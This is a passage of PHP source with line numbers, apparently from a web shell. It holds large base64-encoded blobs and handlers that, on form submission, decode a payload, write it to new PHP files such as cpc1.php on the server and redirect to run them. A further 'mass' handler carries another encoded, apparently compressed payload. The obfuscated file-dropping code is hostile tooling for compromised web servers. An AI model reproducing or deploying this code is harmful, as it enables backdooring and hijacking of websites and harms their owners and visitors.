nVpMGtaTDdlV3B6R0IxU0RCNXFodEZ2RG85c2NURnZrWjRMZmJZbEZNNFZrWjlYZkJrU0RCWWdEdU9zZHQ5emNiTzBEQjVtRlo1WER1RW1SdE9YY285c0NCbFZSSmYrZ2xZc2NKNTBHdVdtaFRTWXRtWTVkQnhwZE1TUGtaOVBkMjFsWVo4bVJKTzFGMmFaZEo0bVIzbjFDTXhwQzE5UGZvMVNSMmxWQzJ4MWNvYXpSMmMxZE1ZMERCOVZGWjVYRHVFbVJ0T1hjbzlzQ0JsVlJKZitnbW5QRm9rSkhaNTBHdVdtaFRTWXRtWTVkQnhwZE1TUGtaOVBkMjFsWVo4bVJKTzFGMmFaZEo0bVIzbjFDTXhwQzE5UGZvMVNSMmxWQzJ4MWNvQXZjb3dWRm9pWGtaWExGb092ZEJ5cGRKNG1nbTVwZE1jcGRNbDBHVTUwR3VXbWhUU1l0bTBZdEpPTEhvMWlEQjV6d2UwSVdvY3Bkb0FQd0o5bGZvSHZkTXlzY0JXVkMyOVZjSndwS1gwaERCQ1Brb1dYZEJ5cGRtSHBlV3A3ZVdwc0QyT3BGSklMY000cEtYMGhDMmlMRGJ3UGtvY1ZoVFNZdE1jdkZNYWlDMklQa29XWGRCeXBkbUhJQ2JISWtvV1hkQnlwZEpMWXRtU1l0TWxNaG9hWmNCZnBodGs2ZDI1bHdKWExjZW5zQ0JsVmhVTFl0bVNZdG1uWmNCZmdkQnkwQzJpZ0NCeFNodEZqR005VmNVRUpodDRRaFV3amtaWElrb1dYZEJ5cGRKWElrb092ZEJ5cGRtSHBLWDBoY014MUYySVBoVFNZdE1sTWh1WTBGTXhsZEppMEZNbHNodE9MZDIxaURCNXpCenlmQnpuZmhVTElOSkVaaFcwaEdaRVl0Sk8xRjJhWndlMElGbzl6RGJpZ2MyYTBGdWYxREJXUFdvY3Bkb2F2ZjI1bEZKSUpSMmEwQ1o5MkNCeHBDYllsRlo4SlJKT0xkMjFpREI1ekJ6eWZCem5maFVMN2VXcHpHQjFTaHRPMUYyYVpCWmZWQ0IxbGsxMFNrb092ZEJ5cGRtWWRIYTFkSHkwcEtYMGhnVzBoZ1cwaGdXMGhjQllQZFpFSk5vWWxkbU9sRmo0OGNNOVZmdG5qZDJ4dkZqMVNEQjFsd3VZcEdNQTlIejVkd3JPdmRNQUliVFh2Y005VmZlNDhSMllsZG1PbEZqNEpLWDBoY0JZUGRaRUpOb2taTmp4amNCNTBjYncrTm9ySUR1a2xjajBMY000dnd1T2lGTWZsZmUxZ0NNeGlkTVMrTm9jdmRtV0lGMmw2Y1QwendvWXZkbzlaTlVIWEhlTDVIZUUrZ3RudWRabndjYmtsd3VYOFIyY3ZkbVcrTnQ5aU5qWHZDMmFWZm9hWk5KdzdlV3A5ZVdwbGR1WWxlV3A3ZVdwc0QyT3BGSklMY000cEtYMGhDMmlMRGJ3UGtvY1ZoVFNZdEpPMGNCMVh3ZTBJd0p3N2VXUExmTXlTSFVFOXdlRTdlV1BMZk15U0hKRTl3ZXJYSGVFN2VXcE1kM3dQS1pPMkNCWHh3ZVg5d3RPMkNCWFpLWk8yQ0JYeGhaU3B3RTBoR1gwaGt1YXBjdEU5d3JuWGQzWXBHeTltY2JPWGYzYXBjdElMZk15U0hVTDdlV3BwY0pFUGt1YXBjdExZdEpPMGNCMVh3dDQ5d29wdkRCNFBrelBtUnRPMURCV3BSSmtGZEp3N2VXcDllV3BsQzJpdnd0RjhDbXd2TkpGN2VXUExmb2FzRnRFOXd1T1pEQjBQa3VPbGRiRXBLWDBoa29jcGRvQTF3ZTBJY005WGNCNFB3bU9sRjNXVmZ1aTB3SlhKZlp3cEtYMGhjbW4xZnVIUGtvY3Bkb0ExUnRPMGNCMVhoVFNZdE1jamRvOXpjVUlMY01sU2NUQXBLWDBoa29pMENCWWpjYll6d2UwWXRKZkFIMHdYQ2FGNWZCWTVXTWlKTzNmbVcyc1VGb1lzYU1wTE96bDVjYWFTZmFwdWFqT2tVcnBTQmFmVWZ5cFRZQjlMT3p5elVBeVhXbHB1QWxhbEJya1NVQWlVZG9hd0FiY2pPM2lQZVdwaWF6T21UbzV0ZDJZZVdBc09hMWtxQTBmb2ZhcHVHb3hqREFrNkJsaWhIbHBDVWJPak8wYzVDemtCRDBsZVliZmlVcnltVzJzb0QxcG9BamFqTzFhbWNyZkJZb09lS2JmSk8wY1hlV3BKREF5MUNBaVVmb2tlV0FzT2Exa3FBMGZvZmFwdUdveGpEQXdYY0FpT2MweHNEZW5KYTNmbVcyeGhkb1lDYW1uamRhYW1hbzA1ZmFwVFdBc2FITENYQ2FpS2RCYVRXTGtKZE1TOWVXUG1LWDBoa29jcGRvQUlOVW5NZDNubGRKSUpSTWkwQ0JZamNiWXp3SlhKZlpTSmhUU1l0Sk8zRk1sMGNVRTl3b2MzRk1sMGNVRVBrb2NwZG9BSVJva2lGMkEyWXk5TGNCWXZjb0FQa29pMENCWWpjYll6aFVMN2VXUExjTWxTY1VFOXdvY3ZGb2FWaHRrMGNiWTBSbU80ZnR3U3d0a1p3SkxJZDN3SWNiaXBmdElKYUI1aUNNeGx3dU92d285WGNCNEljTWxTY1VySmhUU1l0bWZQREJ4bGh0eU1jQjlNaHRPTURCeGxoVUxZdG1TWXRKT3p3ZTBJY01mbGZ1SFBrb2NwZG9BcEtYMGhrbzFpZm9ZUGNiSElOVW5pRm1raUdVSXBLWDBoa3VXSU5VblhGTWFtYjIxaWZvWVBodEZ2YnQ4UFJKUC9oYVg2YnQ4dkZaRlN3dE96UnRFTGRCeTBDMmlsRlpMN2VXUExkQnkwQzJpbEZaRTl3dVkwRmw5WmNiblNDQllsaHRrUGQyMWxSWndTd0p3U2tvMWlmb1lQY2JZZEhhMHBLWDBoREJDUEYzT1pkb2FWaHRPc0NiT2pEb2F6aFVFK3dlclp3dXg4d3VZMEZNeGxkSklMZEJ5MEMyaWxGWkxJTlQwSUh0bjhndEVMZEJ5MEMyaWxGWkU5TlVFSkNNbFZ3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpjYk9qUjFJeEhVOU1GWndJZ3VYSWtvMWlmb1lQY2JISU5UMEl3bWNpRko5U0RCd3ZkTWN6d0puOGd0RUxkQnkwQzJpbEZaRTlOVUVKZk15WlIyeVpGdWZpZm9ZUHdKbjhndEVMZEJ5MEMyaWxGWkU5TlVFSmZNeVpSMmZ2Rm9pbEZKd0lndVhJa28xaWZvWVBjYkhJTlQwSXdtWUpEQjRKd3V4OHd0T3NDYk9qRG9hendlMDl3dGsyQ2J3dkNCT3N3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpmYllaUjJmaWRCYXp3Sm44Z3RFTGRCeTBDMmlsRlpFOU5VRUpmTXlaUjJjMEZ0d0lndVhJa28xaWZvWVBjYkhJTlQwSXdNYTBDWjlWZnVFSnd1eDh3dE9zQ2JPakRvYXp3ZTA5d3RrMkNid3ZmM2Yzd0puOGd0RUxkQnkwQzJpbEZaRTlOVUVKZk15WlIyNWlkQmFMd0pMWXRNWXZkbU9wZG1hbEtYMGhGM2xzZHRJTGRCeTBDMmlsRlpYTGRCeTBDMmlsRlpMN2VXcDllV3BNQzJ4dkYyQVBrb2NwZG9BcEtYMGhjQllQZFpFSk50OTBDQmtTY1Q0SktYMGhmQjVTREI1cWh0azBjYlkwUm1PNGZ0d3BLWDBoY0JZUGRaRUpOb1lsZG1PbEZqNDhjTTlWZnRuamQyeHZGajFTREIxbHd1WXBHTUE5SHo1ZHdyT3ZkTUFJYlRYdmNNOVZmZTQ4UjJZbGRtT2xGajRKS1gwaGNCWVBkWkVKTm9rWk5qeGpjQjUwY2J3K05vcklEdWtsY2owTGNNNHZ3dU9pRk1mbGZlMWdDTXhpZE1TK05vY3ZkbVdJRjJsNmNUMHp3b1l2ZG85Wk5VSFhIZUw1SGVFK2d0bnVkWm53Y2JrbHd1WDhSMmN2ZG1XK050OWlOalh2QzJhVmZvYVpOSnc3ZVdwOWVXcGxDMml2d3R3OER1dytOb1lsZG1PbEZqNDhDajQ4Q1VuUEZNYU1OVXdWa3k5VE9ha0JPYWtkazFud0F5OVRPQXhvazEwVndqNXRXQVlSTnQ5aU5KdzdlV3BsR29sMEtYMGhnVzBoSzJhakRvOElrenhNZDNrc3dvMWxmb2l2Y2UwSkFyOVRhdHdJZm95WmMyYTBOVWtnQ014aWRNU0pOSTBodFR4emZ1a3ZkTUYrZVdQOERCNVhmYldJZE15c2NUMEpGb3ltY1V3SWZ1bFhjVDBKRG9sTGNvYVZ3Sm4yQ0J4MWNUMEpjTWxWY3R3K3d0RUl3dEVJd3RFa3RXTGtlV1BJd3RFSU50OXpmdWt2ZE1GK2VXUEl3dEVJTnVPaUNNeGx3dWZwY3VPUE5VdzJIZUVKd29rdkZNT2xGajBKSHR3SUMyYVNkdW5pY29PcGRNRjl3akhKd29ZbGRveHpGb3lqREI1bU5Vd3h3Sm5pZG9sbWRqMEpDMmFWZm9hWndqNFl0SkVJd3RFOGZ1dytlV1BJd3RFSXd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVdytOb1lsZG1PbEZqNDhGM09aZDI1bU5qeHBkQkZJRjNrak5Va1BmdU9YS0o4dkRVNXBkQmYxRko1amQyMHZCeXB3Y0w1MEF0NVhkTUZKd3Q4K05va1pOSTBodFdMOFIzWTBGTTlWY3o0OFIyWWxkbU9sRmo0OFIzT0xOSTBod3RFSXdlWHZmdXcrZVdQSXd0RUlOdU9aTkkwaHd0RUl3ZXgwY2U0WXRKRUl3dEU4Zm95SmRvQUlmMmxMZm9JOXdqclhIdEFKd29rdkZNT2xGajBKSHR3SUMyYVNkdW5pY29PcGRNRjl3akhKd29ZbGRveHpGb3lqREI1bU5Vd3h3Sm5pZG9sbWRqMEpDMmFWZm9hWndqNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZU0NiWXpOVWt6ZnVsU2NUd0p3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTkkwaHRUeHpmdWt2ZE1GK2FiWWxGSkU2TnQ5emZ1a3ZkTUYrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5qeHpmdWt2ZE1GK051T2xHdU9pRk1haXdvWXZkdUg5d2pXWHdKblpkM2Z6TlV3eEh0d0lkTXlzY1QwSmZiWWxGTTVpZEJhendqNG1LM1k1RjNPbGRVSW1kdUhJUjNjaUZKOXNDQmxTa1pMN0syYWpEbzhJa3pYdmZvYTRmb3laY0JyK050OXpmdWt2ZE1GK050OTBjZTRZdEpFSXd0RThSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3b1lTQ2JZek5Va3pmdWxTY1R3Snd1WTBHQnhsTlVrM0RCTzBEZVBJSFRINUZ1SUpOSTBodFR4emZ1a3ZkTUYrQW95ekZaRTZOdDl6ZnVrdmRNRitOdDkwY2U0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3b1l2ZHVZWENCNDl3akFKTmp4emZ1a3ZkTUYrTnVPbEd1T2lGTWFpd29ZdmR1SDl3aldYd0puWmQzZnpOVXd4SHR3SWRNeXNjVDBKRm95ekYzZnZGTU96d2o0OFIzT2xHdU9pRk1haU5qWHZGM09aZDI1bU5qWHZmb1crZVdQSXd0RUlOdDkwRmo0WXRKRUl3dEU4ZnV3K2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZG95ekZ6MEpGM081ZG9BWndKbnpmdWxTY1QwSmYybExmb0k2d2VyektibjR3ajRZdElMOEYzT1pkMjVtTmxPNUZvQUlLalh2RjNPWmQyNW1Oalh2Zm9XK2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZDJ4ekZveVZOVXcxd2o0WXRKRUl3dEU4RjNuaWRKbmpkb3l6RnowSkYzTzVkb0Fad2o0OEYzT1pkMjVtTmxZcGRiblNjVUU2d2VYdkYzT1pkMjVtTkpFOFIzWVhDQjQrZVdQa051WTBGTTlWY3o0WXRJTDhEQjVYZmJXSWZ1bFhjVDBKRk15TERCOEp3bzVpZEJBOXdtTzVGb0FKd3VjaWR1YWxOVWt6REIxWGRvQUp3b1lQY0JZcWNCVzl3TVlQY0JZcWNCV0p3b1lTQ2JZek5Va3pmdWxTY1RISk5qWHZGM09aZDI1bU5JMGh3dEVJd2V4TWQyNTB3b1lTQ2JZek5Va3pmdWxTY1R3Sk5qeHpmdWt2ZE1GK1IyYTBDWjlYQ2JZemYyV0lLSkU4UjNZMEZNOVZjejRJTnQ5TWQyNTBOSTBodFR4emZ1a3ZkTUYrZVdQa05vbFZGdWEwd3VPNUZvQTl3bWtpY29sdndKblZDQjFsTlVrMEdibmx3Sm4yQ0J4MWNUMEpGb3l6RjNmTHdKbmpkb3l6RnowSkYzTzVkb0F6d2o0OFIzWTBGTTlWY3o0OEYzbmlkSm5qZG95ekZ6MEpGM081ZG9BendqNDhGM09aZDI1bU5JMGh0VFh2RjNPWmQyNW1OSTBodFRYdkYzbmlkajRZdEpFSXd0RThSM09MTkkwaHd0RUl3ZVh2ZnV3K2VXUEl3dEVJTnVPWk5JMGh3dEVJd2V4MGN0bjJDQnhwYzI0OXdtT3ZGdHdJQ01mamQyeHZGajBKd3pyMUhUQXhZVXdJRjNPNWRvQTl3bWZwY3VPUEtKRXhIemxYR3R3K050OTBjZTRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSndvWXZkdVlYQ0I0OXdqQUpOanh6ZnVrdmRNRitOb2xWRnVhMHd1TzVGb0E5d21ZMUNNMXBmdHdJZk15U2ZCQTl3bVkwQ2JrMHdqNFl0SkVJd3RFOFIzWTBGTTlWY3o0WXRKRUl3dEU4UjNPTE5JMGh3dEVJd2V4MEZqNFl0alh2Y005WmRUNEllV1A4ZnV3K2VXUEl3dEVJTnVPTHd1Y2lkb2xtZGowSmZvOVh3Sm5KYzJZdmRvOVpOVXdqSFRBeFlUcjF3Sm5qZG95ekZ6MEpGM081ZG9BeHdKbmpkMnh6Rm95Vk5VdzJ3ajQ4RjNPWmQyNW1OTGZsZnRuZWQyNU1EQkZJS2pYdkYzT1pkMjVtTmpYdmZvVytlV1BJd3RFSXRXTGt0VFh2ZnV3K2VXUDhjTTlaZFVuc2NiT1BkMlc5d2xuTkExV0p3dU9pRk1mbGZlMEpiMmtTQ0I1cXdqNFl0SUw4RjNPWmQyNW1OSTBoTm9sVkZ1YTB3bzVpZEJBOXdNMWxkTU9pRm95MEQyeVZ3Sm4wR2JubE5Va1BEQk9MY0I0Snd1Y2lkdWFsTlVrWENiWXpmMldKTkpFSXd0RUl3dEVJdFdMa3RXMGh3dEVJd2VYdkYzT1pkMjVtTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrT005U2NvYVp3cjVpZEJBSUtqWHZGM09aZDI1bU5qWHZmb1crZVdQSXd0RUlOdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdqNDhGM09aZDI1bU5qeHBkbW4xZnRuekRicGxOVXd6WVV3SWRNeXNjVDBKY005U2NvYVpkTXlzY1V3SWZ1bFhjVDBKZm9hNGZ0dytOdDl6ZnVrdmRNRitOdDkwY2U0WXRJTDhSM1kwRk05VmN6NFl0SkVJd3RFOFIzT0xOSTBod3RFSXdlWHZmdXcrZVdQSXd0RUlOdU9aTkkwaHd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lGM081ZG9BOXdtZnBjdU9QS0pFeEh6bFhHdHcrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5qeHpmdWt2ZE1GK05vbFZGdWEwd3VPNUZvQTl3bVkxQ00xcGZ0d0lmTXlTZkJBOXdMZk53ajRZdEpFSXd0RThSM1kwRk05VmN6NFl0SkVJd3RFOFIzT0xOSTBod3RFSXdleDBGajRZdGpYdmNNOVpkVDRJd3RFWXRqeDBGajRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSndvWVNDYll6TlVremZ1bFNjVHJKd29ZdmR1WVhDQjQ5d2pDSk5qeHpmdWt2ZE1GK08yYTB3eWZ2Rk1PU0RiWTBOdDl6ZnVrdmRNRitOdDkwY2U0WXRKRUl3dEVrdFdMa050OTBGajRZdGp4TWQza3N3bzFsZm9pdmNlMEpBcjlUYXR3SWZveVpjMmEwTlVrZ0NNeGlkTVNKTkkwaHRUeHpmdWt2ZE1GK2VXUDhEQjVYZmJXSWRNeXNjVDBKRm95ekZad0lmdWxYY1QwSkRvbExjb2FWd0puMkNCeDFjVDBKRm95ekYzZnZGTVdKTkpFSXd0RUl3dEVJdFdMa3RXMGh3dEVJd2VYdkYzT1pkMjVtTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrYWJrU3dyWXZkTWNwY1pFNk50OXpmdWt2ZE1GK050OTBjZTRZdEpFSXd0RThmb1dJZk15U0RCZlZOVWswZDNFSndva21DMjlTZDN3OXdKSHhZVHIxSFRBSk5qeHpmdWt2ZE1GK05vbFZGdWEwd3VZcEdNQTl3akgxd0puVkNCMWxOVWsxRk1YSnd1TzVGb0E5d21PbEd1V0pOalh2RjNPWmQyNW1Oalh2Zm9XK2VXUGtOdDl6ZnVrdmRNRitlV1BJd3RFSU50OTBjZTRZdEpFSXd0RThSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmpYdmZvVytlV1BJd3RFSU51T0x3dWNpZG9sbWRqMEpmbzlYd0puSmMyWXZkbzlaTlV3akhUQXhZVHIxd0puamQyeHpGb3lWTlV3MXdqNDhGM09aZDI1bU5qeHBkbW4xZnRuMEdibmxOVWt6ZkJrc0RiV0p3dWNpZHVhbE5Va3VUWncrZVdQSXd0RUlOdDl6ZnVrdmRNRitlV1BJd3RFSU50OTBjZTRZdEpFSXd0RThmdXcrZVdQOFIyY3ZGTTArZVdQOGZ1dytlV1BJd3RFSU51T0x3dWNpZG9sbWRqMEpmbzlYd0puSmMyWXZkbzlaTlV3akhUQXhZVHIxd0puamRveXpGejBKRjNPNWRvQXh3Sm5qZDJ4ekZveVZOVXcyd2o0OEYzT1pkMjVtTkxsVmNNOEllV1BrQTJhamZia3BmdUw4UjNZMEZNOVZjejQ4UjNPTE5JMGh3dEVJd0VMa3RXTDhSM09aTkkwaHd0RUl3ZXgwRmo0WXRKRUl3dEU4Zm9XSWZNeVNEQmZWTlVrMGQzRUp3b2ttQzI5U2Qzdzl3Skh4WVRyMUhUQUp3dVkwR0J4bE5VazNEQk8wRGVQSUhUSDVGdUlKTmp4emZ1a3ZkTUYrQTJ5TWNVbllkMk9sTnQ5emZ1a3ZkTUYrTnQ5MGNlNFl0SkVJd3RFOGZvV0lmTXlTREJmVk5VazBkM0VKd29rbUMyOVNkM3c5d0pIeFlUcjFIVEFKd29ZdmR1WVhDQjQ5d2pBSk5JMGh0VHh6ZnVrdmRNRitlV1BtS1gwaGt1WWljTWFnZEI5TGNVRTl3b2xWRGE5bWNiV1BrM1lpY01hZ2RCOUxjVUZwS1gwaERCQ1BrdVlpY01hZ2RCOUxjVDA5a3pybWhXMGhHWDBoY0JZUGRaRW1UMDRtS1gwaGdCYVNGMmE3ZVdwbEMyaXZ3dGZOT0xDbUtYMGhnVzBoSzJhakRvOElrWExZdElMOFIzWTBGTTlWY3o0a2VXUGtOdDkwY2U0WXRKRUl3dEVrdFdMa050OTBGajRZdEpFSXd0RThmdXcrZVdQSXd0RUlOdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdKbnpmdWxTY1QwSmYybExmb0k2d2VyektibjR3ajQ4RjNPWmQyNW1OTE9sRjJsSmRvQUlPbWFWQzNPcGQyNDhSM1kwRk05VmN6NDhSM09MTkkwaHd0RUl3ZXgwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lDMjlTRjNuaWRqMEpZVXcrZVdQa051WTBGTTlWY3o0WXRqeE1kM2tzd28xbGZvaXZjZTBKQXI5VGF0d0lmb3laYzJhME5Va2dDTXhpZE1TSk5JMGh0VHh6ZnVrdmRNRitlV1A4REI1WGZiV0lkTXlzY1QwSmRCeTBEQnNpZEp3SWZ1bFhjVDBKRG9sTGNvYVZ3Sm4yQ0J4MWNUMEpGMmFxQ2JPaWRKdyt3dEVJd3RFSXd0RWt0V0xrZVdQSXd0RUlOdDl6ZnVrdmRNRitlV1BtS1gwaERCQ1BrWkY5TlVJTGNtYVZDejFFREI1cGIyZmxmdEltY29sekNCa1NjYTlNZkI1amZvbHZkbUhtaFVMcGVXcDdlV3BsQzJpdnd0dzhjTTlWZnRuamQyeHZGajBqSGVFNEhlbm9OTDV2d3lZbEMzYVpEYk81d29jdkZKbm9mQjVqZm9sdmRqWHZjTTlWZmU0OFIydyt3alNZdG0xbGR1WWxHWDBoY0JZUGRaRW1OdVlqRk1sWGZlNWlkb2FaZnRJSkFveGxDYllsd3VZbGNVbkpjQnh2ZlpuaWRNV0lGdWtsRjNISU5sblNjQnl6Y1VuZWRvbGpEWm53Y2JrbHdyY3BGbVkwd1RYSmhUUzhSM1lqRk1sWGZlNG1LWDBoY0JZUGRaRUpOb2N2ZG1XSUMyOVNkM3c5Rk1hTE5KT01mQjVqTnQ5TWQyNTBOalh2Q2o0SktYMGhjQllQZFpFbU51T1pOangwY3RuMkNCeHBjMjQ5d21PdkZ0d0lDTWZqZDJ4dkZqMEp3enIxSFRBeFlVd0lGM081ZG9BOXdtZnBjdU9QS0pFeEh6bFhHdHcrTnQ5MGNlNG1LWDBoY0JZUGRaRW1OdU9Md3VjaWRvbG1kajBKZm85WHdKbkpjMll2ZG85Wk5Vd2pIVEF4WVRyMXdKbmpkMnh6Rm95Vk5VdzF3ajQ4RjNPWmQyNW1OanhwZG1uMWZ0bjBHYm5sTlVremZCa3NEYldKd3VjaWR1YWxOVWtXZG9haUYyQUlXMnhwQzJTSVVvYVpjVW5vRGJremZ0ckpOSTBod3RFSXdlWHZGM09aZDI1bU5JMGh3dEVJd2VYdmZvVytOdDkwRmo0bUtYMGhnVzBoSzJhakRvOElrelh2RjNPWmQyNW1Oalh2Zm9XK2t6Uz0=
2002";
2003 $lalalala = @fopen("cpc1.php", "w");
2004 @fwrite($lalalala, base64_decode($cpc_c));
2005 @fclose($lalalala);
2006 header("Location:cpc1.php");
2007 }
2008
2009if (isset($_POST['jumping'])) {
2010 $jump_ing = "PD9waHAKZWNobyAiPGgxPlNvcnJ5IFdpbGwgQWRkIEl0IExhdGVyPC9oMT4iOwo/Pg==";
2011 $lalalala = @fopen("jumping.php", "w");
2012 @fwrite($lalalala, base64_decode($jump_ing));
2013 @fclose($lalalala);
2014 header("Location:jumping.php");
2015 }
2016
2017
2018
2019
2020 if (isset($_POST['mass'])) {
2021 $php_mass = "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